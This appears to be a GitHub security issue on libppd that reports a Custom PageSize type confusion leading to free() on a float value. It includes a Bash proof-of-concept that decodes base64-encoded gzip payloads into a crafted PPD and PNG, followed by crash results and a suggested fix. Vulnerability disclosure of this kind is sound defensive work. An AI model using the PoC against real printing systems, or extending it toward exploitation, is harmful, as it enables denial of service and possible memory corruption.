Skip to content

libppd: Custom PageSize type confusion reaches an invalid free #83

Description

@kimaiden1984-boop

Summary

The PPD loader accepts Width or Height parameters of Custom PageSize with
a string type. Page-size handling later writes a numeric point value through
the same union, while cleanup still treats the field as an owned string
pointer and calls free() on it.

Validated libppd source:

  • tested build: 522af8dd135f4dde66b1aac8b9d067808bbe122d
  • current upstream HEAD: fc41539f761286396a7df8aeeda762070192e37e

The relevant parser, page, and cleanup sources are byte-identical at current
upstream HEAD.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/printer.ppd, SHA-256
039f50e1ef24c8ca9bf6b859bd277b035fa0b6337b51ff96fbcc154b922c2937,
is a five-line, 221-byte PPD. It declares Custom PageSize Height as string
and selects Custom.100x200 by default. Run ./reproduce.sh; changing only
string to points is the non-crashing control.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: libppd: Custom PageSize type confusion reaches an invalid free
# Finding ID: libppd-custom-pagesize-type-confusion-invalid-free
# Trigger: The PPD loader accepts Width or Height parameters of Custom
# PageSize with a string type. Page-size handling later writes a numeric point
# value through the same union, while cleanup still treats the field as an
# owned string pointer and calls free() on it.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (221 bytes)
write_file printer.ppd 039f50e1ef24c8ca9bf6b859bd277b035fa0b6337b51ff96fbcc154b922c2937 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA11OTwuCMBS/+ykeOwrpnGEkImQeCjoIdYsOK19roE7mFtKnbyJ26PD4wfv99auq
XO1qdccUyDqIieeX+OS2MRUXeJYf99/bwag2iCgdGaWevzBwQmNQhzM4f5aFC3dNIgabLbuFx5YL
2YmiUCN0tmnyfEDTO1mNb/lAMuVp3s4lv+gDSvEyKTAYjHZ2iBNwA1z7n/Ci7TS9Vz38HfG+M/Hj
et0AAAA=
POC_PAYLOAD_1

Result

The real imagetops pipeline writes 1,405 PostScript bytes and then aborts
during ppdClose2() at ppd.c:233. ASan reports allocator access at
0x4347fff0 for free(0x43480000), the float representation of 200.0;
the uninstrumented process exits 139.

On 64-bit builds the numeric page dimension is written as a 32-bit float into
a zero-initialized pointer union, so the demonstrated pointer remains in the
low 4 GiB and normally faults rather than freeing a live heap object. On a
32-bit build the same type confusion gives materially more pointer control.
No arbitrary free of a mapped object or subsequent controlled write is proven.

Control runs with dimensions 200 and 300, selected either by the PPD
default or a job option, move the free() argument from 0x43480000 to
0x43960000. This confirms numeric pointer control, while also confirming the
64-bit low-address limitation.

Cause and expected behavior

ppd.c accepts string for ParamCustomPageSize Height.
ppd-page.c:128 later stores a float in current.custom_points.
ppdClose2() selects cleanup by the declared type and frees
current.custom_string.

Custom PageSize Width and Height must be restricted to the required points
type. Cleanup should only free fields that currently own an allocated string,
not a union member overwritten through another type.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions